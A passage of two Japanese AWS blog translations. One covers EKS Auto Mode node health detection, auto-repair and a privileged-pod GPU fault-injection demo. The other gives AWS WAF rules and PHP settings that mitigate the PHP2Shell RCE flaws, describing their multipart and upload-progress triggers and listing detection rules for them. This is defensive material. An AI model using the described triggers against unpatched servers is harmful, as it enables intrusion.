やメモリの枯渇による fork の失敗と、コンテナランタイムの故障により Pod が Terminating 状態のままになることです。 エージェントは、Event 重大度の検出も行います。こちらは Condition 重大度とは異なり、通知にとどまります。エージェントは Kubernetes イベントを発行し、ノードは稼働を続けます。対象は、帯域幅の上限、接続追跡 (conntrack) の上限、Amazon Elastic Block Store (Amazon EBS) の IOPS のスロットリング、I/O の遅延などです。ファイルシステムの断片化、クロックドリフト、Probe の失敗、kube-proxy の異常、GPU の温度と電力の警告も通知します。これらは、障害が致命的になる前に、その兆候を読み取る手がかりになります。理由コードとその重大度の一覧は、 ノードヘルスのドキュメント にあります。NVIDIA の GPU については、DCGM によって幅広い項目を検出します。DCGM は NVML の上に構築されていて、NVML の情報に加えて、プッシュ型のポリシーイベント、診断、NVSwitch のファブリックのヘルスを提供します。P5e や P6 のような複数の GPU を搭載したインスタンスでは、1 つの不良デバイスがトレーニングジョブ全体を止めてしまうことがあるため、この検出範囲が欠かせません。 Condition が False になってから新しいノードが動くまで ここからは、検出がどのようにノードの置き換えにつながるかを説明します。Karpenter の AWS クラウドプロバイダーは、一連の修復ポリシーを定義します。各ポリシーは、Condition のタイプと、異常とみなされるステータス、そして修復を開始する前に Condition が異常な状態を維持しなければならない許容ウィンドウ (toleration window) を対応づけます。 モニタリング用の Condition ステータス 修復までの許容ウィンドウ NodeReady (kubelet) False 30 分 NodeReady (kubelet) Unknown 30 分 KernelReady False 30 分 ContainerRuntimeReady False 30 分 NetworkingReady False 30 分 StorageReady False 30 分 AcceleratedHardwareReady False 10 分 処理の流れは次のとおりです。 エージェントが Condition を切り替える。 Condition 重大度の検出は、該当するノードの Condition を False に設定し、理由コード ( reason ) と、人が読めるメッセージ ( message ) を付けます。 Event 重大度の検出は、このステップに進みません。Kubernetes イベントを発行するだけで、ノードの Condition は True のままです。 Karpenter のヘルスコントローラーが時間を計る。Karpenter はノードの Condition を監視し、Condition の LastTransitionTime を起点にタイマーを開始します。許容ウィンドウが経過する前に自然に解消する一時的な問題であれば、タイマーがリセットされるだけで、ノードはまったく影響を受けません。 許容ウィンドウが修復の速さを決める。高速コンピューティングハードウェアの障害は 10 分待ちます。カーネル、ランタイム、ネットワーキング、ストレージの障害と、kubelet が報告する NodeReady は 30 分待ちます。 セーフティゲートがフリートを守る。NodePool またはクラスター内の異常なノードがしきい値 (20%) を超えると、Karpenter は修復を行いません。また、 Amazon Application Recovery Controller (ARC) のゾーンシフトが有効な間も、自動修復は停止します。この仕組みの狙いは、1 台の不良ノードを修復することであり、広範囲の問題を決して拡大させないことです。 修復が実行される。許容ウィンドウを過ぎ、安全のためのしきい値の範囲内であれば、Karpenter はノードに Taint を付与して新しい Pod のスケジューリングを止め、Pod Disruption Budget に従って実行中の Pod をドレインします。その後、インスタンスを終了し、退避させた Pod に見合うサイズの代替ノードをプロビジョニングします。分散トレーニングのようなステートフルなワークロードでは、回復できるかどうかは、ワークロードがチェックポイントから再開できるかどうかで決まります。システムはノードを置き換えて Pod を再スケジュールしますが、最後に保存した状態から再開するのはワークロードの役割です。 訳注: 2026 年 10 月時点では、EKS Auto Mode の自動修復は、通常のドレインではなく、ごく短い猶予期間で異常なノードの Pod を削除し、Pod Disruption Budget を考慮しません。猶予期間を設けて Pod Disruption Budget を考慮するのは、セルフマネージドの Karpenter v1.15.0 以降です。また、ARC のゾーンシフトで自動修復が停止するのは、マネージドノードグループの場合です。詳細については、 Automatically repair nodes in EKS clusters のドキュメント をご覧ください。 この一連の処理は、人手を介さずに実行されます。代替ノードは起動するとクラスターに登録され、新しいエージェントによる監視が始まり、すぐにワークロードを実行できる状態になります。 大規模な運用から得た教訓 ノードモニタリングエージェントを数千のクラスターで運用するなかで、紹介しておきたい設計原則がいくつか見えてきました。 障害を致命的なものと通知だけのものに分ける理由: PCIe バスから脱落した GPU は、再起動しない限り回復しません。この障害を Warning のままにしていたため、性能が低下したノードにワークロードがスケジュールされ続けていました。一方、帯域幅の上限は一時的なもので、ワークロードによって変わります。分類のルールは次のとおりです。どの Pod が実行されているかに関係なく障害が続き、自然に回復しない場合は、Condition 重大度として置き換えをトリガーします。ワークロードの動作によって変わる場合や、自然に解消する場合は、Event 重大度として通知にとどめます。 安全のためのしきい値を 20% にした理由: フリート全体の上限がなければ、同じ原因による誤検知で、正常なノードが数十台同時に異常と判定されるおそれがあります。不良な AMI、コントロールプレーンの一時的な不調、モニターの設定の誤りが、大量の置き換えを引き起こしかねません。上限を 20% にすることで、Karpenter が一度に終了するノードは NodePool の 5 分の 1 までになり、実際の障害は修復しながら、キャパシティの大部分を維持できます。このしきい値は Karpenter のヘルスコントローラーで固定されていて、NodePool の設定では変えられません。上限に達して修復が止まると、Karpenter はノードに NodeRepairBlocked イベントを発行し、5 分ごとに再確認します。 許容ウィンドウが異なる理由: 高速コンピューティングハードウェアの障害の許容ウィンドウが 10 分なのは、判定がはっきりしていて (バス上に GPU があるかないかのどちらか)、放置すると損失が大きいからです。カーネル、ランタイム、ネットワーキング、ストレージの障害が 30 分なのは、これらのサブシステムでは一時的な状態が自然に解消することがあるからです。ネットワークの瞬断やランタイムの一時的な再起動で、ノードを失うべきではありません。 理由コードはパブリック API として扱う: 理由コードを利用する下流のもの (修復コントローラー、ダッシュボード、お客様の自動化) はすべて、理由コードの文字列の完全一致で判定しています。v1.6.2 で、 NvidiaDeviceCountMismatch の重大度を Warning から Fatal に変更しました。技術的には妥当な判断でしたが、古い重大度を前提に修復を設定していたお客様の自動化が動かなくなりました。それ以来、理由コードの追加は機能の開発として、重大度の変更は破壊的変更として扱っています。 「Condition がない」ことを「正常」と同じに扱ってはならない: モニターが無効になっているとき、エージェントは True も Unknown も書き込まず、Condition そのものを出力しません。 True を書き込むと、エージェントが監視していないのに、ノードが正常だと自動修復に伝えてしまいます。 Unknown を書き込むと意味があいまいになり、不要な修復をトリガーするおそれがあります。何も出力しないことが、唯一の安全な選択です。 修復サイクルの実際の動作 次の例では、稼働中の Amazon EKS Auto Mode クラスターで、修復サイクルが最初から最後まで実行される様子を示します。 このクラスターには、Bottlerocket の EKS Auto Nvidia バリアントで動作する g6e.xlarge の GPU ノードがあります。GPU が正常なとき、NMA はすべてのノードの Condition を正常 (True) と報告します。 $ kubectl get node i-0981...e7d \ -o jsonpath='{range .status.conditions[*]}{.type}={.status} ({.reason}){"\n"}{end}' AcceleratedHardwareReady=True (NvidiaGPUIsReady) ContainerRuntimeReady=True (ContainerRuntimeIsReady) NetworkingReady=True (NetworkingIsReady) KernelReady=True (KernelIsReady) StorageReady=True (DiskIsReady) シリコンが実際に故障するのを待たずに GPU の障害を再現するため、ノードの DCGM ホストエンジンにダブルビット ECC エラーを注入します。DCGM ホストエンジンは、NMA がテレメトリを読み取っている情報源そのものです。EKS Auto Mode のノードは、SSH でアクセスできないマネージドインスタンスです。そこで、障害を注入するために、DCGM のツールを含む特権 Pod を実行します。 apiVersion: v1 kind: Pod metadata: name: dcgm-inject spec: nodeName: i-0981...e7d hostPID: true containers: - name: dcgm image: nvcr.io/nvidia/cloud-native/dcgm:3.3.7-1-ubuntu22.04 command: ["sleep", "3600"] securityContext: privileged: true volumeMounts: - name: dev mountPath: /dev volumes: - name: dev hostPath: path: /dev tolerations: - operator: Exists この Pod がホストの DCGM エンジンと通信するには、 privileged: true と hostPID: true が必要です。Pod が起動したら、exec で Pod に入り、障害を注入します。 $ kubectl exec dcgm-inject -- dcgmi test --inject --gpuid 0 -f 319 -v 4 Successfully injected field info. NMA は数秒後の次のポーリングでこのエラーを検出し、Condition を False に切り替えます。 $ kubectl get node i-0981...e7d -o jsonpath='{range .status.conditions[?(@.type=="AcceleratedHardwareReady")]}{.status} {.reason}: {.message}{"\n"}{end}' False NvidiaDoubleBitError: detected 4 Nvidia Double Bit error(s) on location Device エージェントは、この Condition の切り替えをノードのイベントとして記録します。Karpenter が監視しているのは、このシグナルです。 $ kubectl get events --field-selector involvedObject.name=i-0981...e7d ... AcceleratedHardwareReady Status condition transitioned, Type: AcceleratedHardwareReady, Status: True -> False, Reason: NvidiaDoubleBitError, Message: detected 4 Nvidia Double Bit error(s) on location Device ここから先は、誰も何も操作しません。Condition が False になってから 10 分後 (高速コンピューティングハードウェアの許容ウィンドウ)、Karpenter が自動で修復を始めます。異常なノードをドレインしながら、代替ノードを起動します。 $ kubectl get nodeclaims NAME TYPE ZONE NODE READY gpu-demo-fdthm g6e.xlarge us-west-2c Unknown # 代替ノード、起動中 gpu-demo-xfqcb g6e.xlarge us-west-2b i-0981...e7d True # 異常、ドレイン中 数分後には、異常なノードはなくなり、新しいノードが代わりに稼働して、ワークロードが再び実行されています。 $ kubectl get node i-0bb2...fb4 -o jsonpath='{range .status.conditions[?(@.type=="AcceleratedHardwareReady")]}{.status} {.reason}{"\n"}{end}' True NvidiaGPUIsReady $ kubectl get pods -l app=gpu-demo -o wide NAME READY STATUS NODE gpu-demo-workload-...-j97n5 1/1 Running i-0bb2...fb4 障害を 1 回注入すると、数秒で Condition が切り替わり、意図して設けた 10 分の許容ウィンドウの後、およそ 90 秒で再プロビジョニングとクラスターへの再参加が終わります。最初から最後まで、人手は要りません。 リソースのクリーンアップ 手順を試した後は、テスト用のリソースを削除します。 kubectl delete pod dcgm-inject SSH を使わない診断: ノードに障害が起きた原因を調べる 自動修復が対応するのは、よくあるケースです。異常なノードは置き換えられ、ワークロードは動き続けます。しかし、ノードに障害が起きた 原因 を知る必要がある場合もあります。同じ障害が繰り返し起きている場合や、サポートケースで証拠が必要な場合です。 従来の EKS ノードで診断情報を集めるには、ノードに SSH でアクセスし、ログ収集のスクリプトを手作業で実行する必要がありました。NodeDiagnostic カスタムリソース定義 (CRD) は、この方法に代わる手段です。SSH でのアクセスはコンプライアンス上禁止されていることが多く、ネットワークに障害があると使えません。EKS Auto Mode では、この方法はまったく使えません。Auto Mode のノードは、設計上 SSH でアクセスできない Amazon Elastic Compute Cloud (Amazon EC2) マネージドインスタンスだからです。これらのノードで何が起きたかを知る手段は、NodeDiagnostic CRD と kubectl ekslogs だけです。 kubectl ekslogs の仕組み kubectl-ekslogs プラグイン は、NodeDiagnostic の一連の手順を 1 つのコマンドにまとめたものです。 $ kubectl ekslogs i-0abc123def456 ✔ Transfer mode: node proxy API ⟳ Validating node(s)... ✔ 1 node validated ⟳ Creating NodeDiagnostic resources... ⟳ Waiting for log collection to complete (timeout: 300s)... ✔ Log collection completed on 1 node ⟳ Downloading log bundles... ✔ Saved: ./i-0abc123def456-logs.tar.gz (288K) ✔ Done: 1 log bundle downloaded to ./ 内部的には、このプラグインは次の処理を行います。 ノード名と destination: node を指定して、 NodeDiagnostic カスタムリソースを作成します。 対象のノードで動くエージェントが、Kubernetes の watch でそのリソースを検出します。 エージェントが、システムログ、カーネルメッセージ、ネットワーキングの状態、ランタイムの診断情報を集め、圧縮した tarball にまとめます。 エージェントが、tarball をノードに一時的に保存します (10 分間取得可能)。 プラグインが、kubelet の Node Log Query API (KEP-2258、Kubernetes 1.36 で一般提供) を使って tarball をダウンロードします。 SSH も、セキュリティグループの変更も、キーペアも必要ありません。シェルでアクセスできない Auto Mode のマネージドインスタンスでも使えます。 ログを kubelet API 経由でストリーミングせずに Amazon Simple Storage Service (Amazon S3) に保存したい場合は、NodeDiagnostic の宛先に S3 の署名付き PUT URL を指定します。手順は ノードログの取得のドキュメント で順を追って説明しています。同じ仕組みで ネットワークトラフィックをキャプチャ することもできます。エージェントがノードで tcpdump を実行し、キャプチャファイルを圧縮して、指定したバケットにアップロードします。 検出と診断は別々の役割 このアーキテクチャでは、検出と診断を意図的に分けています。検出は「このノードは正常か」に答えるもので、最小限のオーバーヘッドで常に動作し、ノードの Condition を書き込みます。診断は「何が問題だったのか」に答えるもので、必要なときにだけ動作し、NodeDiagnostic を通じて詳細な情報を集めます。検出と診断は同じエージェントのバイナリで動きますが、結果を使う相手が違います。検出の結果は修復サイクルが使います。診断の結果は、事後に原因を調べる人が使います。 役割を分けているので、検出が証拠集めのために遅くなることはなく、診断を常に動かしておく必要もありません。自動修復がすでに異常と判定したものの、まだ終了していないノードを診断することもできます。 EKS Auto Mode で得られるもの ノードのヘルスモニタリングは、Auto Mode の AMI に組み込まれている機能の 1 つです。全体像は Auto Mode のアーキテクチャの記事 で紹介しています。この記事で説明した機能は、すべてデフォルトで有効です。必要に応じて用意するのは、手元の端末にインストールする診断ツールだけです。 必要なときに診断するには、 kubectl-ekslogs プラグイン をインストールし、 kubectl ekslogs <node-name> を実行して、ログ一式を取得します。ネットワークのキャプチャには、宛先に tcpdump を指定した NodeDiagnostic リソースを作成します。 EKS Auto Mode 以外のコンピューティングでは、同じ仕組みを自分で構成できます。ノードモニタリングエージェントを EKS アドオン としてインストールし、バージョンを最新に保ち、ノードグループごとに修復にオプトインします。インストールとオプトインの手順は、 ノードモニタリングと自動修復のドキュメント で説明しています。 まとめ この記事では、Amazon EKS Auto Mode が人手を介さずにノード障害を検出、修復、診断する仕組みを紹介しました。ノードモニタリングエージェントは低レベルの障害を Kubernetes のノードの Condition に変換し、Karpenter はその Condition に基づいてノードを置き換えます。両者の間の取り決めはノードの Condition だけで、ノードの Condition はごく普通の Kubernetes の仕組みにすぎません。だからこそ、このサイクルは信頼できます。修復を実行するかどうかは重大度で決まります。Condition 重大度の検出は置き換えをトリガーし、Event 重大度の検出は通知にとどまり、ノードは稼働を続けます。 このシステムは、すぐに反応するのではなく、意図的に慎重に動くように作られています。許容ウィンドウによって一時的な障害が自然に解消するのを待ち、フリート全体の安全のためのしきい値によって、同じ原因の障害が拡大するのを防ぎます。また、理由コードをパブリック API として扱うので、理由コードを前提に作った自動化が知らないうちに動かなくなることはありません。そして、ノードに障害が起きた原因を知りたいときは、NodeDiagnostic CRD と kubectl ekslogs で、Kubernetes API を通じてログ一式を取得できます。SSH は不要で、ログインできないマネージドインスタンスでも使えます。 EKS Auto Mode では、これらはどれも、自分で有効にする機能ではありません。アドオンも、オプトインのフラグも、管理するバージョンもありません。検出、修復、診断は、AWS がお客様に代わって運用するデータプレーンのライフサイクルの一部で、クラスターを作成したときから有効です。 EKS Auto Mode がコンピューティングを管理するので、お客様はワークロードに時間を使えます。また、 ノードモニタリングエージェントはオープンソース なので、お客様が大規模な運用で遭遇した障害モードを、プルリクエストで新しい検出に直接反映できます。 関連情報 詳解: Amazon EKS Auto Mode (アーキテクチャの概要)。 Amazon EKS introduces node monitoring and auto-repair (提供開始の発表)。 ノードのヘルス問題を検出し、自動ノード修復を有効にする (Amazon EKS ユーザーガイド)。 kubectl と S3 を使用してマネージドノードのノードログを取得する 。 kubectl と S3 を使用して、マネージドノード上のネットワークトラフィックをキャプチャする 。 kubectl-ekslogs プラグイン 。 EKS Node Monitoring Agent (GitHub) 。 Karpenter provider-aws (GitHub) 。 翻訳はシニアパートナーソリューションアーキテクトの市川が担当しました。原文は こちら です。

本ブログは 2026 年 10 月 21 日に公開された AWS Blog “ Using AWS WAF to apply mitigations for PHP2Shell RCE vulnerabilities (CVE-2026-109618 and CVE-2026-109619) ” を翻訳したものです。 2026 年 10 月 21 日、PHP プロジェクトは、PHP コアランタイムに存在する 2 件の重大なリモートコード実行 (RCE) 脆弱性に対して 緊急の修正をリリース しました。これらの脆弱性は CVE-2026-109618 および CVE-2026-109619 として追跡されており、総称して PHP2Shell と呼ばれています。いずれも CVSS v4.0 で 9.2 (Critical: 緊急) と評価されており、認証されていない攻撃者が脆弱なサーバー上でコードを実行できます。修正済みのリリースは PHP 8.5.12、8.4.27、8.3.36、8.2.35 です。 完全な修正はパッチ適用以外になく、PHP のアップグレードを最優先で進める必要があります。ただし、サーバーのフリート全体へのパッチ適用には時間がかかります。PHP が稼働している場所の棚卸し、メンテナンスウィンドウの調整、新しいビルドでのアプリケーションのテストが必要になるためです。本記事では、 AWS WAF を使用して、パッチ適用が完了するまでの間、確認済みの攻撃経路への露出を低減する方法を紹介します。ブロックすべきリクエストパターン、AWS WAFv2 でのルールの記述方法、正当なトラフィックに影響を与えずにルールをデプロイする方法を説明します。また、誤った安心感を抱かないよう、AWS WAF による保護の限界についても説明します。Amazon の脅威インテリジェンスが脆弱性の公表前に PHP2Shell の悪用をどのように検出したかについては、「 Amazon Threat Intelligence が PHP2Shell の脆弱性公開前の悪用を MadPot で特定 」を参照してください。AWS サービスの状況と AWS が推奨する AWS WAF ルールについては、「 AWS Security Bulletin 2026-143-AWS 」を参照してください。 重要: 完全な修正はパッチ適用以外になく、PHP のアップグレードを最優先で進める必要があります。 脆弱性の概要 PHP2Shell の 2 つの脆弱性はいずれも認証不要の RCE であり、アプリケーションコードが実行される前に PHP が multipart/form-data リクエスト (ブラウザがファイルアップロードに使用するリクエスト形式) を処理する方法に起因しています。そのため、本記事の AWS WAF ルールでは、multipart トラフィック、リクエスト本文のサイズ、セッションアップロード進捗 (session upload progress) フィールドに焦点を当てています。大まかに言えば、CVE-2026-109618 は、リクエストの処理中に PHP がメモリ不足 (out-of-memory) に陥った際にメモリ破壊を引き起こします。CVE-2026-109619 は、あるリクエストが残した古いデータを、同じワーカープロセス上の後続のリクエストが再利用してしまう脆弱性です。根本原因の分析、影響を受けるバージョン、PHP プロジェクト自身のガイダンスについては、PHP の公式アドバイザリとリリースアナウンスを参照してください。 CVE-2026-109618 (メモリ不足によるメモリ破壊) – PHP アドバイザリ GHSA-w8hw-w9fx-j79w CVE-2026-109619 (古いグローバル状態: stale global state) – PHP アドバイザリ GHSA-6wmf-4rv5-p3rp PHP セキュリティリリースのアナウンス (2026 年 10 月 21 日) 対応策における AWS WAF の位置付け 今回のケースでは、AWS WAF は多層防御のための制御であり、PHP のアップグレードに代わるものではありません。PHP のアドバイザリでも、パッチ適用済みのリリースへの更新が唯一の完全な緩和策であると明言されています。後述するとおり、2 つの脆弱性のうち 1 つは、その大部分がウェブアプリケーションファイアウォールでは対処できない範囲にあります。本記事のルールは、パッチ適用が完了するまでの間の露出を低減する緩和策として扱い、パッチ適用後は削除するか、補助的な制御として維持してください。 AWS WAF はエッジで HTTP リクエストを検査します。multipart 本文の内部構造は解析せず、PHP ワーカーのメモリやサーバー側の設定も把握できません。次の表に、各攻撃要素に対して AWS WAF が緩和策として機能するかどうかを示します。 攻撃要素 AWS WAF の対応範囲 multipart POST に含まれるセッションアップロード進捗フィールド ( PHP_SESSION_UPLOAD_PROGRESS 、PHP のアップロード追跡機能を有効にするフォームフィールド) 対応可能。このフィールドを含むリクエストを対象としたルールでブロックできます。 multipart アップロード経路 ( multipart/form-data 、ファイルアップロードに使用されるリクエストタイプであり、両方の脆弱性の侵入口) 対応可能。ただし、アプリケーションに正当な multipart アップロードがない場合に限ります。ブロック対象: multipart/form-data. サイズ超過の本文によるメモリ不足状態 一部対応。リクエスト本文のサイズに上限を設定します。ただし、上限内に収まるヘッダー増幅 (header amplification: 多数の小さなパートヘッダーにより、送信時のサイズをはるかに上回るメモリが消費されるもの) は検出できません。 同じワーカー (多数のリクエストの処理に再利用される PHP プロセス) に対する繰り返しの試行 対応可能。レートベースのルールにより、エクスプロイトに必要な大量のリクエスト送信を抑制できます。 プロデューサー (producer) として機能する fatal_error_backtraces (リクエストをまたいでクラッシュトレースの状態を保持する PHP 8.5 の設定) 対応不可。これはサーバーの構成設定です ( fatal_error_backtraces=0 )。 コンシューマー (consumer) として機能する、無効または非推奨の INI 設定に関する診断 (不正な構成設定の適用時に PHP が出力する警告) 対応不可。この経路はクライアントからの HTTP 通信ではなく、サーバー側で実行されます。 アプリケーションが multipart アップロードを受け付けない場合は、 multipart/form-data をブロックするルールをエッジに適用することで、あらゆるアプリケーションに対して悪用可能な、multipart 処理でメモリ不足を引き起こす攻撃経路と、セッションアップロード進捗のトリガーを排除できます。これは、パッチ適用期間中の多層防御として機能します。 アプリケーションで multipart アップロードを使用している場合、AWS WAF でリスクは低減できますが、脆弱性を解消することはできません。ヘッダー増幅 (数キロバイトのパートヘッダーが、PHP 内部ではるかに大きなメモリに展開されるもの) はサイズ制限内に収まるうえ、ファイアウォールは本文の各パート内にあるヘッダーを解析できないためです。この場合は、PHP のアップグレードを優先し、後述するサーバー側の緩和策を適用してください。 AWS WAF ルールの実装 以下のルールは AWS WAFv2 の JSON 形式です。各ルールを、PHP ワークロードの前段にある Amazon CloudFront ディストリビューション、Application Load Balancer、または Amazon API Gateway ステージに関連付けられた AWS WAF 保護パック (ウェブ ACL) にデプロイしてください。 重要: 変更を実装する前に、AWS WAF のログ記録に関するガイダンスに沿って WAFv2 のログ記録が設定されていることを確認してください。すべてのルールはまず Count モードで開始し、正当なトラフィックに一致しないことを確認してから Block に切り替えてください。 リクエスト本文の検査サイズ制限 AWS WAF は、リクエスト本文を一定のサイズまで検査します。Application Load Balancer と AWS AppSync では、この制限は 8 KB で固定されています。CloudFront や API Gateway などの AWS サービスでは、デフォルトは 16 KB で、以下のようにウェブ ACL の AssociationConfig を使用して 32、48、または 64 KB に引き上げることができます。本文検査サイズ制限を超えた部分は、サイズ超過として扱われます。本文サイズのルールで適用できる上限は検査対象のサイズまでであるため、デプロイするルールに合わせて制限を選択してください。 aws wafv2 update-web-acl ... --association-config \ 'RequestBody={CLOUDFRONT={DefaultSizeInspectionLimit=KB_16}}' AWS WAF ルール このルールは両方の CVE を対象とし、 AndStatement 内の 3 つの条件すべて が同時に満たされた場合にのみリクエストをブロックします。 メソッドが POST と完全に一致する – HTTP メソッドで照合 (変換なし) PHP のセッション識別子が存在する (ネストされた OrStatement により、次のいずれかのサブ条件を満たせば成立) PHPSESSID が Cookie のキーとして存在する (すべての Cookie を対象に、キーを完全一致で照合)、または PHPSESSID がリクエスト本文のいずれかの場所に存在する (部分一致) 本文に PHP_SESSION_UPLOAD_PROGRESS が含まれる – PHP のセッションアップロード進捗機能を有効にするフォームフィールド このルールと併せて、サーバー側で session.upload_progress.enabled=0 を設定し、この機能を無効にしてください。 { "Name": "PHP2Shell", "Priority": 0, "Statement": { "AndStatement": { "Statements": [ { "ByteMatchStatement": { "SearchString": "POST", "FieldToMatch": { "Method": {} }, "TextTransformations": [ { "Priority": 0, "Type": "NONE" } ], "PositionalConstraint": "EXACTLY" } }, { "OrStatement": { "Statements": [ { "ByteMatchStatement": { "SearchString": "PHPSESSID", "FieldToMatch": { "Cookies": { "MatchPattern": { "All": {} }, "MatchScope": "KEY", "OversizeHandling": "CONTINUE" } }, "TextTransformations": [ { "Priority": 0, "Type": "NONE" } ], "PositionalConstraint": "EXACTLY" } }, { "ByteMatchStatement": { "SearchString": "PHPSESSID", "FieldToMatch": { "Body": { "OversizeHandling": "CONTINUE" } }, "TextTransformations": [ { "Priority": 0, "Type": "NONE" } ], "PositionalConstraint": "CONTAINS" } } ] } }, { "ByteMatchStatement": { "SearchString": "PHP_SESSION_UPLOAD_PROGRESS", "FieldToMatch": { "Body": { "OversizeHandling": "CONTINUE" } }, "TextTransformations": [ { "Priority": 0, "Type": "NONE" } ], "PositionalConstraint": "CONTAINS" } } ] } }, "Action": { "Block": {} }, "VisibilityConfig": { "SampledRequestsEnabled": true, "CloudWatchMetricsEnabled": true, "MetricName": "PHP2Shell" } } 検討すべきその他の AWS WAF ルール アプリケーションでアップロードを使用しない場合に multipart リクエストをブロックする 注: このルールを Block モードで実装すると、ファイルアップロードを必要とするアプリケーションが動作しなくなります。アプリケーションでファイルアップロードが不要な場合は、 multipart/form-data をブロックすることで、両方の CVE について、あらゆるアプリケーションに対して悪用可能な、multipart 処理でメモリ不足を引き起こす攻撃経路をエッジで排除できます。 名前を指定した単一のヘッダーは 8 KB のヘッダー上限の対象外で、全体が検査されます。そのため、 Content-Type ヘッダーでの照合は確実に機能します。 { "Name": "Block-Multipart-FormData", "Priority": 1, "Action": { "Count": {} }, "Statement": { "ByteMatchStatement": { "FieldToMatch": { "SingleHeader": { "Name": "content-type" } }, "PositionalConstraint": "CONTAINS", "SearchString": "multipart/form-data", "TextTransformations": [ { "Priority": 0, "Type": "LOWERCASE" } ] } }, "VisibilityConfig": { "SampledRequestsEnabled": true, "CloudWatchMetricsEnabled": true, "MetricName": "PHP2ShellBlockMultipart" } } リクエスト本文のサイズに上限を設定する 本文サイズに上限を設定すると、CVE-2026-109618 の原因となるメモリ不足状態と、それによって残る可能性のある古い状態を抑制できます。サイズ制約と併せて OversizeHandling: MATCH を使用すると、本文検査サイズ制限を超える本文も含め、しきい値より大きい本文をすべてブロックできます。N バイトの上限を適用するには、ウェブ ACL の本文検査サイズ制限を N 以上にする必要があります。なお、サイズ制約で Content-Length の数値に上限を設定することはできません。サイズ制約が測定するのはヘッダー値の文字列の長さであり、値が表す数値ではないためです。アプリケーションに正当な大容量アップロードがある場合は、URI パスに対する AndStatement を使用して、このルールの対象をアップロード以外のパスに限定してください。限定しない場合、それらのアップロードが動作しなくなります。 { "Name": "Block-Oversize-Body", "Priority": 3, "Action": { "Count": {} }, "Statement": { "SizeConstraintStatement": { "FieldToMatch": { "Body": { "OversizeHandling": "MATCH" } }, "ComparisonOperator": "GT", "Size": 8192, "TextTransformations": [ { "Priority": 0, "Type": "NONE" } ] } }, "VisibilityConfig": { "SampledRequestsEnabled": true, "CloudWatchMetricsEnabled": true, "MetricName": "PHP2ShellBlockOversizeBody" } } 注: AWSManagedRulesCommonRuleSet マネージドルールグループを既に使用している場合、そのグループに含まれる SizeRestrictions_BODY ルールが、デフォルトで 8 KB を超える本文をブロックします。特定のマネージドルールが正当なトラフィックに影響する場合は、グループ全体を無効にするのではなく、そのルールのみを Count にオーバーライドしてください。 繰り返しの試行をレート制限する POST リクエストにレートベースのルールを適用すると、攻撃者が送信できるリクエスト量を抑え、ワーカーへの過負荷によって脆弱性がトリガーされる可能性を下げることができます。また、古い状態を悪用する経路が成立するには、プロデューサーのリクエストとコンシューマーのリクエストが同じワーカーに到達する必要があります。このルールは、リクエストごとにワーカーをリサイクルするサーバー設定 pm.max_requests=1 を補完するものです。 { "Name": "RateLimit-Posts", "Priority": 4, "Action": { "Count": {} }, "Statement": { "RateBasedStatement": { "Limit": 100, "EvaluationWindowSec": 60, "AggregateKeyType": "IP", "ScopeDownStatement": { "ByteMatchStatement": { "FieldToMatch": { "Method": {} }, "PositionalConstraint": "EXACTLY", "SearchString": "POST", "TextTransformations": [ { "Priority": 0, "Type": "NONE" } ] } } } }, "VisibilityConfig": { "SampledRequestsEnabled": true, "CloudWatchMetricsEnabled": true, "MetricName": "PHP2ShellRateLimitPosts" } } AWS WAF を補完するサーバー側の緩和策 以下のホストとランタイムの変更は、ウェブアプリケーションファイアウォールが検査する HTTP レイヤーより下にある CVE-2026-109619 の要素に対処するものです。そのため、これらの要素は、そもそもファイアウォールの対象範囲外にあります。防御におけるホストおよびランタイムのレイヤーとして、AWS WAF ルールと併せて適用してください。 PHP を 8.5.12、8.4.27、8.3.36、または 8.2.35 にアップグレードします。 これが唯一の完全な修正です。PHP 8.1 以前はアップストリームでのサポートが終了しています。ディストリビューションまたは長期サポートベンダーにバックポートされた修正があるかを確認するか、サポート対象のブランチへの移行を計画してください。 PHP レベルで CVE-2026-109618 に対処します。 アプリケーションが上書きできないように memory_limit=-1 を設定し、post_max_size は小さい値に抑えます (アプリケーションがアップロードを受け付けない場合は 8M、受け付ける場合は 32M)。メモリの上限はコンテナまたは cgroup の制限で適用してください。RLIMIT_AS や RLIMIT_DATA は脆弱なメモリ不足経路をトリガーするため、決して使用しないでください。 PHP 8.5 で fatal_error_backtraces=0 を設定し、すべてのワーカーを再起動します。 これにより、リクエストをまたいでクラッシュトレースの状態を保持する設定が無効になります。この設定は、脆弱性をトリガーする方法として確認されているものの 1 つです。 サーバー側で session.upload_progress.enabled=0 を設定し、すべてのワーカーを再起動します。 これにより、もう 1 つの確認済みのトリガーであるアップロード追跡機能が無効になります。この機能は、パッチ適用後も無効のままにしておくことをお勧めします。 設定には php.ini 、FPM プール、またはサーバー起動時の構成を 、リクエストごとの INI オーバーライド (リクエスト単位で設定を適用する .htaccess 、 php_value 、または FastCGI の PHP_VALUE) よりも優先して使用してください。また、診断警告が発生しないよう、廃止されたディレクティブは削除してください。 致命的なエラーと実行タイムアウトを解消します。 対象は、アップロード、インポート、エラーページ、シャットダウン、シリアル化、拡張機能のパスなど、攻撃者が到達可能なルートです。 パフォーマンス上問題がなければ、 pm.max_requests=1 を設定します。 これにより、各ワーカープロセスは 1 つのリクエストを処理するたびにリサイクルされ、古いデータを残すリクエストと、そのデータを再利用する後続のリクエストとのつながりが断たれます。 エラーログ記録を有効にします ( log_errors=On 、有効な出力先を指定した error_log 、 error_reporting=E_ALL )。そのうえで、Apache、FPM、またはプロキシのログを確認し、攻撃者が制御可能なルートで警告、非推奨の通知、致命的なエラー、タイムアウトが繰り返し発生していないかを調べてください。エラーが出ていないからといって、安全であるとは限りません。 開始方法 次の手順で対応を開始してください。 PHP が稼働している場所と、使用中のバージョンおよびサーバー API (mod_php、FPM、FrankenPHP、LSAPI) を棚卸しします。また、リクエスト本文を受け付けるパブリックエンドポイントを特定します。 各アプリケーションが multipart アップロードを使用しているかどうかを確認します。これにより、multipart リクエストをブロックする AWS WAF ルールをデプロイできるかどうかが決まります。 各 PHP ワークロードの前段にあるウェブ ACL を作成または更新し、該当するルールを Count モードで追加します。ルールで必要な場合は、CloudFront または API Gateway の本文検査サイズ制限を引き上げます。 各ルールのサンプリングされたリクエストと Amazon CloudWatch メトリクスを監視し、正当なアップロードや大容量の JSON 本文を含む POST リクエストがルールに一致していないことを確認します。 メトリクスに問題がなければ、ルールを Block に切り替えます。セッションアップロード進捗フィールドのルールと multipart ルールが、本文サイズルールとレートベースのルールより先に評価されるよう、優先度を設定します。 無害な multipart/form-data の POST、設定したサイズ上限を超える本文、 PHP_SESSION_UPLOAD_PROGRESS を含むリクエストでテストします。403 レスポンスが返され、一致したルールのメトリクスが記録されることを確認します。 